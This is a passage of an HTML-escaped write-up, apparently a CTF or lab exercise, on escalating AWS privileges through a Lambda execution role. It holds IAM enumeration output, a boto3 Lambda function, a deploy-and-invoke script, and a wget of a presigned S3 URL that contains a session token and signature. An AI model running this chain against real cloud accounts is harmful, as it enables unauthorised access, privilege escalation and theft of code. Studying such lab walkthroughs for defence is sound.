&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Lambda Role Policy
&lt;/h3&gt;

&lt;p&gt;I tried enumerating more on what this lambda role could do to see how could I further privesc from the lambda function. It turns out that there are EC2 privileges here&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;weirdAAL&lt;span class="o"&gt;)(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS/lambda]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws iam list-attached-role-policies &lt;span class="nt"&gt;--role-name&lt;/span&gt; &lt;span class="s2"&gt;"lambda_agent_development_role"&lt;/span&gt;                                                                               254 ⨯
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"AttachedPolicies"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
        &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"PolicyName"&lt;/span&gt;: &lt;span class="s2"&gt;"iam_policy_for_lambda_agent_development_role"&lt;/span&gt;,
            &lt;span class="s2"&gt;"PolicyArn"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role"&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;]&lt;/span&gt;y
&lt;span class="o"&gt;}&lt;/span&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;weirdAAL&lt;span class="o"&gt;)(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS/lambda]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws iam get-policy &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; &lt;span class="s2"&gt;"arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role"&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"Policy"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"PolicyName"&lt;/span&gt;: &lt;span class="s2"&gt;"iam_policy_for_lambda_agent_development_role"&lt;/span&gt;,
        &lt;span class="s2"&gt;"PolicyId"&lt;/span&gt;: &lt;span class="s2"&gt;"ANPAQYDFBGMS2XASGX3JS"&lt;/span&gt;,
        &lt;span class="s2"&gt;"Arn"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role"&lt;/span&gt;,
        &lt;span class="s2"&gt;"Path"&lt;/span&gt;: &lt;span class="s2"&gt;"/"&lt;/span&gt;,
        &lt;span class="s2"&gt;"DefaultVersionId"&lt;/span&gt;: &lt;span class="s2"&gt;"v2"&lt;/span&gt;,
        &lt;span class="s2"&gt;"AttachmentCount"&lt;/span&gt;: 1,
        &lt;span class="s2"&gt;"PermissionsBoundaryUsageCount"&lt;/span&gt;: 0,
        &lt;span class="s2"&gt;"IsAttachable"&lt;/span&gt;: &lt;span class="nb"&gt;true&lt;/span&gt;,
        &lt;span class="s2"&gt;"Description"&lt;/span&gt;: &lt;span class="s2"&gt;"AWS IAM Policy for Lambda agent development service"&lt;/span&gt;,
        &lt;span class="s2"&gt;"CreateDate"&lt;/span&gt;: &lt;span class="s2"&gt;"2022-07-22T09:29:36+00:00"&lt;/span&gt;,
        &lt;span class="s2"&gt;"UpdateDate"&lt;/span&gt;: &lt;span class="s2"&gt;"2022-08-23T13:16:26+00:00"&lt;/span&gt;,
        &lt;span class="s2"&gt;"Tags"&lt;/span&gt;: &lt;span class="o"&gt;[]&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;weirdAAL&lt;span class="o"&gt;)(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS/lambda]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws iam get-policy-version &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; &lt;span class="s2"&gt;"arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role"&lt;/span&gt; &lt;span class="nt"&gt;--version-id&lt;/span&gt; &lt;span class="s2"&gt;"v2"&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"PolicyVersion"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"Document"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"Statement"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
                &lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="s2"&gt;"Action"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
                        &lt;span class="s2"&gt;"ec2:RunInstances"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"ec2:CreateVolume"&lt;/span&gt;,
                        &lt;span class="s2"&gt;"ec2:CreateTags"&lt;/span&gt;
                    &lt;span class="o"&gt;]&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Effect"&lt;/span&gt;: &lt;span class="s2"&gt;"Allow"&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Resource"&lt;/span&gt;: &lt;span class="s2"&gt;"*"&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;,
                &lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="s2"&gt;"Action"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
                        &lt;span class="s2"&gt;"lambda:GetFunction"&lt;/span&gt;
                    &lt;span class="o"&gt;]&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Effect"&lt;/span&gt;: &lt;span class="s2"&gt;"Allow"&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Resource"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service"&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;,
                &lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="s2"&gt;"Action"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
                        &lt;span class="s2"&gt;"iam:PassRole"&lt;/span&gt;
                    &lt;span class="o"&gt;]&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Effect"&lt;/span&gt;: &lt;span class="s2"&gt;"Allow"&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Resource"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:iam::051751498533:role/ec2_agent_role"&lt;/span&gt;,
                    &lt;span class="s2"&gt;"Sid"&lt;/span&gt;: &lt;span class="s2"&gt;"VisualEditor2"&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="o"&gt;]&lt;/span&gt;,
            &lt;span class="s2"&gt;"Version"&lt;/span&gt;: &lt;span class="s2"&gt;"2012-10-17"&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;,
        &lt;span class="s2"&gt;"VersionId"&lt;/span&gt;: &lt;span class="s2"&gt;"v2"&lt;/span&gt;,
        &lt;span class="s2"&gt;"IsDefaultVersion"&lt;/span&gt;: &lt;span class="nb"&gt;true&lt;/span&gt;,
        &lt;span class="s2"&gt;"CreateDate"&lt;/span&gt;: &lt;span class="s2"&gt;"2022-08-23T13:16:26+00:00"&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;


┌──&lt;span class="o"&gt;(&lt;/span&gt;weirdAAL&lt;span class="o"&gt;)(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS/lambda]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS/lambda/hack-function]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;aws lambda invoke &lt;span class="nt"&gt;--function-name&lt;/span&gt; arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service /tmp/out.txt

An error occurred &lt;span class="o"&gt;(&lt;/span&gt;AccessDeniedException&lt;span class="o"&gt;)&lt;/span&gt; when calling the Invoke operation: User: arn:aws:iam::051751498533:user/user-00e6fd16c555452c900d1b14d6af61c5 is not authorized to perform: lambda:InvokeFunction on resource: arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service because no identity-based policy allows the lambda:InvokeFunction action

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS/lambda/hack-function]
└─&lt;span class="err"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Lambda Privesc, view other Lambda
&lt;/h3&gt;

&lt;p&gt;I tried viewing the other lambda function first, since it's a privilege with the lambda_agent role. I referred to &lt;a href="https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/lambda_privesc/README.md" rel="noopener noreferrer"&gt;here&lt;/a&gt; to help with the code.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;lambda_function.py&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# https://www.learnaws.org/2020/12/16/aws-ec2-boto3-ultimate-guide/
# https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/lambda_privesc/cheat_sheet_chris.md
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;boto3&lt;/span&gt;

&lt;span class="n"&gt;REGION_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ap-southeast-1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/lambda.html#Lambda.Client.get_function
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_function&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;lambda_client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;boto3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;client&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;lambda&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;lambda_client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;FunctionName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;lambda_handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;func_response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;func_response&lt;/span&gt;

&lt;span class="c1"&gt;#role_arn="arn:aws:iam::051751498533:role/ec2_agent_role"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;run.sh&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;LAMBDA_FUNC&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;user-00e6fd16c555452c900d1b14d6af61c5-ec2test4

pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--target&lt;/span&gt; ./package boto3
&lt;span class="nb"&gt;cd &lt;/span&gt;package
zip &lt;span class="nt"&gt;-r&lt;/span&gt; ../function.zip &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null
&lt;span class="nb"&gt;cd&lt;/span&gt; ..
zip &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt;.zip lambda_function.py
&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; package

aws lambda create-function &lt;span class="nt"&gt;--zip-file&lt;/span&gt; fileb://function.zip &lt;span class="nt"&gt;--runtime&lt;/span&gt; python3.7 &lt;span class="nt"&gt;--handler&lt;/span&gt; lambda_function.lambda_handler &lt;span class="nt"&gt;--role&lt;/span&gt; arn:aws:iam::051751498533:role/lambda_agent_development_role &lt;span class="nt"&gt;--function-name&lt;/span&gt; &lt;span class="nv"&gt;$LAMBDA_FUNC&lt;/span&gt;
aws lambda invoke &lt;span class="nt"&gt;--function-name&lt;/span&gt; &lt;span class="nv"&gt;$LAMBDA_FUNC&lt;/span&gt; /tmp/out.txt
&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/out.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS/lambda/hack-function]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls
&lt;/span&gt;lambda_function.py  run.sh

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS/lambda/hack-function]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;./run.sh
...
updating: lambda_function.py &lt;span class="o"&gt;(&lt;/span&gt;deflated 43%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"FunctionName"&lt;/span&gt;: &lt;span class="s2"&gt;"user-00e6fd16c555452c900d1b14d6af61c5-ec2test4"&lt;/span&gt;,
    &lt;span class="s2"&gt;"FunctionArn"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:lambda:ap-southeast-1:051751498533:function:user-00e6fd16c555452c900d1b14d6af61c5-ec2test4"&lt;/span&gt;,
    &lt;span class="s2"&gt;"Runtime"&lt;/span&gt;: &lt;span class="s2"&gt;"python3.7"&lt;/span&gt;,
    &lt;span class="s2"&gt;"Role"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:iam::051751498533:role/lambda_agent_development_role"&lt;/span&gt;,
    &lt;span class="s2"&gt;"Handler"&lt;/span&gt;: &lt;span class="s2"&gt;"lambda_function.lambda_handler"&lt;/span&gt;,
    &lt;span class="s2"&gt;"CodeSize"&lt;/span&gt;: 9332181,
    &lt;span class="s2"&gt;"Description"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
    &lt;span class="s2"&gt;"Timeout"&lt;/span&gt;: 3,
    &lt;span class="s2"&gt;"MemorySize"&lt;/span&gt;: 128,
    &lt;span class="s2"&gt;"LastModified"&lt;/span&gt;: &lt;span class="s2"&gt;"2022-09-09T10:00:13.477+0000"&lt;/span&gt;,
    &lt;span class="s2"&gt;"CodeSha256"&lt;/span&gt;: &lt;span class="s2"&gt;"WZtZZh86oUgfKI5/0zRc+JVC1++pkWsl22clPyWDaUo="&lt;/span&gt;,
    &lt;span class="s2"&gt;"Version"&lt;/span&gt;: &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LATEST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;,
    &lt;span class="s2"&gt;"TracingConfig"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"Mode"&lt;/span&gt;: &lt;span class="s2"&gt;"PassThrough"&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"RevisionId"&lt;/span&gt;: &lt;span class="s2"&gt;"bb298cd0-0211-460a-a5ad-15c90b2173c1"&lt;/span&gt;,
    &lt;span class="s2"&gt;"State"&lt;/span&gt;: &lt;span class="s2"&gt;"Pending"&lt;/span&gt;,
    &lt;span class="s2"&gt;"StateReason"&lt;/span&gt;: &lt;span class="s2"&gt;"The function is being created."&lt;/span&gt;,
    &lt;span class="s2"&gt;"StateReasonCode"&lt;/span&gt;: &lt;span class="s2"&gt;"Creating"&lt;/span&gt;,
    &lt;span class="s2"&gt;"PackageType"&lt;/span&gt;: &lt;span class="s2"&gt;"Zip"&lt;/span&gt;,
    &lt;span class="s2"&gt;"Architectures"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
        &lt;span class="s2"&gt;"x86_64"&lt;/span&gt;
    &lt;span class="o"&gt;]&lt;/span&gt;,
    &lt;span class="s2"&gt;"EphemeralStorage"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"Size"&lt;/span&gt;: 512
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"StatusCode"&lt;/span&gt;: 200,
    &lt;span class="s2"&gt;"ExecutedVersion"&lt;/span&gt;: &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LATEST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"ResponseMetadata"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"RequestId"&lt;/span&gt;: &lt;span class="s2"&gt;"df15839d-bf36-4cf1-a6d0-6a6f8fea517e"&lt;/span&gt;, &lt;span class="s2"&gt;"HTTPStatusCode"&lt;/span&gt;: 200, &lt;span class="s2"&gt;"HTTPHeaders"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"date"&lt;/span&gt;: &lt;span class="s2"&gt;"Fri, 09 Sep 2022 10:00:17 GMT"&lt;/span&gt;, &lt;span class="s2"&gt;"content-type"&lt;/span&gt;: &lt;span class="s2"&gt;"application/json"&lt;/span&gt;, &lt;span class="s2"&gt;"content-length"&lt;/span&gt;: &lt;span class="s2"&gt;"2848"&lt;/span&gt;, &lt;span class="s2"&gt;"connection"&lt;/span&gt;: &lt;span class="s2"&gt;"keep-alive"&lt;/span&gt;, &lt;span class="s2"&gt;"x-amzn-requestid"&lt;/span&gt;: &lt;span class="s2"&gt;"df15839d-bf36-4cf1-a6d0-6a6f8fea517e"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;, &lt;span class="s2"&gt;"RetryAttempts"&lt;/span&gt;: 0&lt;span class="o"&gt;}&lt;/span&gt;, &lt;span class="s2"&gt;"Configuration"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"FunctionName"&lt;/span&gt;: &lt;span class="s2"&gt;"cat-service"&lt;/span&gt;, &lt;span class="s2"&gt;"FunctionArn"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service"&lt;/span&gt;, &lt;span class="s2"&gt;"Runtime"&lt;/span&gt;: &lt;span class="s2"&gt;"python3.9"&lt;/span&gt;, &lt;span class="s2"&gt;"Role"&lt;/span&gt;: &lt;span class="s2"&gt;"arn:aws:iam::051751498533:role/lambda_agent_development_role"&lt;/span&gt;, &lt;span class="s2"&gt;"Handler"&lt;/span&gt;: &lt;span class="s2"&gt;"main.lambda_handler"&lt;/span&gt;, &lt;span class="s2"&gt;"CodeSize"&lt;/span&gt;: 416, &lt;span class="s2"&gt;"Description"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;, &lt;span class="s2"&gt;"Timeout"&lt;/span&gt;: 3, &lt;span class="s2"&gt;"MemorySize"&lt;/span&gt;: 128, &lt;span class="s2"&gt;"LastModified"&lt;/span&gt;: &lt;span class="s2"&gt;"2022-08-23T13:16:19.469+0000"&lt;/span&gt;, &lt;span class="s2"&gt;"CodeSha256"&lt;/span&gt;: &lt;span class="s2"&gt;"52UWd1KHAZub5aJIS953mHrKVM0mFPiVBuGahWFGaz4="&lt;/span&gt;, &lt;span class="s2"&gt;"Version"&lt;/span&gt;: &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LATEST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;, &lt;span class="s2"&gt;"TracingConfig"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"Mode"&lt;/span&gt;: &lt;span class="s2"&gt;"PassThrough"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;, &lt;span class="s2"&gt;"RevisionId"&lt;/span&gt;: &lt;span class="s2"&gt;"90be1b48-3339-4a78-a083-b77e285b7b8a"&lt;/span&gt;, &lt;span class="s2"&gt;"State"&lt;/span&gt;: &lt;span class="s2"&gt;"Active"&lt;/span&gt;, &lt;span class="s2"&gt;"LastUpdateStatus"&lt;/span&gt;: &lt;span class="s2"&gt;"Successful"&lt;/span&gt;, &lt;span class="s2"&gt;"PackageType"&lt;/span&gt;: &lt;span class="s2"&gt;"Zip"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;, &lt;span class="s2"&gt;"Code"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"RepositoryType"&lt;/span&gt;: &lt;span class="s2"&gt;"S3"&lt;/span&gt;, &lt;span class="s2"&gt;"Location"&lt;/span&gt;: &lt;span class="s2"&gt;"https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/cat-service-f02e065f-3e98-4c04-8d77-c627d6d8d5a2?versionId=XMHQ4OlZGN52Y_FiI23NgMfVyC2eL_sD&amp;amp;X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLXNvdXRoZWFzdC0xIkYwRAIgVPWDaYHJlMRuv68%2F2KU7CnITmi1VfjUFYA%2FNOKdyXJwCIGttcU4mQ3yG6heLPsf68OxVG%2Be%2B3XgadfsmNxjqHhtnKtsECEIQBBoMMjk1MzM4NzAzNTgzIgybdHXD%2BdW7I4bBzosquATyJkvl9EBzjY3gRW8PYnOx9Hx%2FhkP%2FtcoKs8V960UbbTm%2FvdM9uHGqRPQOymRA5rV8Mn4ab7kOLwmkoj8idhSYVqxmrmVQMw%2F38rknTmhjctVxiBTtySxajN1Lk3OcN%2FTNTPp084PwrztLu6J69MpcbtU5We0yUCR%2BimmbMQ3UZE1KrqMCMZf%2Ffw9PIuaUpb25wB58U%2BusFKNDESVGnasMuLCaSkoV4PQhvJbqTnt4Mj1QMLG25J5gyks5CejdxvWN5GEEFIZkAUkhXLO24IqBeNg3D28x7ndGmYDdtH93rdqichuColz0tZCjJHdVd2T2R3ympa54LVeqWi1p1pwF%2BIt%2BEd%2BOV3bsDFIR%2FOKcd8HQd9TvOtsh6mAijX0vzOMoIP0gZbzvOHHfrE1Cl4pLtw3kBWki5Zj72nea2%2FwLGYslN2Y1Wu1IDk1%2FuONb4%2FJxoxG2AbHJw7a0nTAWByfRp43K7641WZogJK9kiOG%2FIFaXkbR0gTFLngLGHz8GLjBoFyHDaklBChdB60OpejmYgZnCTPRIyBsSR7i3%2BPsydGzMI8QzsLD2W2qSWt2C6N0kWwqeyyzvu6EYio1l2YEmHtQa14y0U6Dz7wNFN0VLnKVvAgK22cktfZbm11bPG%2FAyjUKRcBqUVaZyBl6b9JgKGdKwevmJzYI%2FsAN5oxtDwvO%2FiRLFVeVV2XflxqVLw9wqPr%2BnF3yw%2FTzUdtbTadkGsDDfeGe8iX3TNnbcCpiTAB4VFKyk8sDHMOeI7JgGOqoB943K6qC1kUngqxMXWO%2BXUDiyHh15Q3jaJiWbtJpRrT08fxIT%2BWxZauF5fuL1NEEIOu%2FBMnbbvV5JfOys0RLJ87PcsZ%2B9K7gDECtZyLobJvtCbjyulcVgQQSdiiojrqDhWGFxrHKUmbddgLTfWpP0PR%2BWPVBrFzZ9m66avkdzCgoomtKHtVZCbEGl1nv9Sab6NytJhZufNEPB427FR%2FkAEQtgHXPaDmjNrX8%3D&amp;amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Date=20220909T100017Z&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Expires=600&amp;amp;X-Amz-Credential=ASIAUJQ4O7LP6M2EGZJY%2F20220909%2Fap-southeast-1%2Fs3%2Faws4_request&amp;amp;X-Amz-Signature=6d5a839f51be92fcdb385485ae8cb64dd6b02fb8dd92fac6296b81ce1899024d"&lt;/span&gt;&lt;span class="o"&gt;}}&lt;/span&gt;                                                                                                                                                                        
┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/AWS/lambda/hack-function]
└─&lt;span class="err"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;View File&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;wget &lt;span class="s2"&gt;"https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/cat-service-f02e065f-3e98-4c04-8d77-c627d6d8d5a2?versionId=XMHQ4OlZGN52Y_FiI23NgMfVyC2eL_sD&amp;amp;X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLXNvdXRoZWFzdC0xIkYwRAIgVPWDaYHJlMRuv68%2F2KU7CnITmi1VfjUFYA%2FNOKdyXJwCIGttcU4mQ3yG6heLPsf68OxVG%2Be%2B3XgadfsmNxjqHhtnKtsECEIQBBoMMjk1MzM4NzAzNTgzIgybdHXD%2BdW7I4bBzosquATyJkvl9EBzjY3gRW8PYnOx9Hx%2FhkP%2FtcoKs8V960UbbTm%2FvdM9uHGqRPQOymRA5rV8Mn4ab7kOLwmkoj8idhSYVqxmrmVQMw%2F38rknTmhjctVxiBTtySxajN1Lk3OcN%2FTNTPp084PwrztLu6J69MpcbtU5We0yUCR%2BimmbMQ3UZE1KrqMCMZf%2Ffw9PIuaUpb25wB58U%2BusFKNDESVGnasMuLCaSkoV4PQhvJbqTnt4Mj1QMLG25J5gyks5CejdxvWN5GEEFIZkAUkhXLO24IqBeNg3D28x7ndGmYDdtH93rdqichuColz0tZCjJHdVd2T2R3ympa54LVeqWi1p1pwF%2BIt%2BEd%2BOV3bsDFIR%2FOKcd8HQd9TvOtsh6mAijX0vzOMoIP0gZbzvOHHfrE1Cl4pLtw3kBWki5Zj72nea2%2FwLGYslN2Y1Wu1IDk1%2FuONb4%2FJxoxG2AbHJw7a0nTAWByfRp43K7641WZogJK9kiOG%2FIFaXkbR0gTFLngLGHz8GLjBoFyHDaklBChdB60OpejmYgZnCTPRIyBsSR7i3%2BPsydGzMI8QzsLD2W2qSWt2C6N0kWwqeyyzvu6EYio1l2YEmHtQa14y0U6Dz7wNFN0VLnKVvAgK22cktfZbm11bPG%2FAyjUKRcBqUVaZyBl6b9JgKGdKwevmJzYI%2FsAN5oxtDwvO%2FiRLFVeVV2XflxqVLw9wqPr%2BnF3yw%2FTzUdtbTadkGsDDfeGe8iX3TNnbcCpiTAB4VFKyk8sDHMOeI7JgGOqoB943K6qC1kUngqxMXWO%2BXUDiyHh15Q3jaJiWbtJpRrT08fxIT%2BWxZauF5fuL1NEEIOu%2FBMnbbvV5JfOys0RLJ87PcsZ%2B9K7gDECtZyLobJvtCbjyulcVgQQSdiiojrqDhWGFxrHKUmbddgLTfWpP0PR%2BWPVBrFzZ9m66avkdzCgoomt